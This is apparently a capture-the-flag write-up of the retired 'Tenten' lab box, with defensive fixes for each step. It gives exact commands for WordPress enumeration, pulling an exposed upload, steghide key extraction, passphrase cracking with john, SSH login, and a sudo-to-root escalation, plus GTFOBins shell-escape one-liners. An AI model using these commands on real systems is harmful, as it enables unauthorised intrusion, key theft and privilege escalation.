Tenten
Summary
I fingerprinted a WordPress site running an outdated job-application plugin, retrieved a candidate's uploaded image file from a predictable, publicly accessible path (CVE-2015-6668), and extracted a hidden SSH private key from that image using freely available steganography tools. The key's weak passphrase was cracked offline in seconds.
I then logged into the server as a low-privilege user and exploited a sudo rule that blindly executed any command passed to it as root, completing full system takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -n -p22,80 --open -T4 -sV $TARGETcurl -s -L http://tenten.htb/ | grep -Eoi 'wp-content|wordpress|job-manager'Exact commands 2
for i in $(seq 1 40); do echo -n "p=$i: "; curl -s -L "http://tenten.htb/?p=$i" | grep -oP '(?<=<title>).*?(?=</title>)'; donewpscan --url http://tenten.htb/ --enumerate p,t,u --plugins-detection aggressiveFixUpdate WP Job Manager and block direct HTTP access to the uploads directoryCritical
Exact commands 2
curl -s -i http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpgcurl -s -L http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg -o HackerAccessGranted.jpgExact commands 2
steghide extract -sf HackerAccessGranted.jpg -p ""chmod 600 id_rsa && file id_rsa && head -3 id_rsaFixRemove all credentials and keys from web-accessible files and treat current key as compromisedCritical
Exact commands 2
ssh2john id_rsa > id_rsa.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hashFixEnforce strong SSH key passphrases and a high key-derivation cost factorHigh
Exact commands 2
ssh -i id_rsa takis@$TARGETcat /home/takis/user.txtExact commands 4
sudo -lcat /bin/fuckinsudo /bin/fuckin /bin/bashcat /root/root.txtFixRemove the unsafe sudo rule and audit all sudoers entries for argument-passthrough risksCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |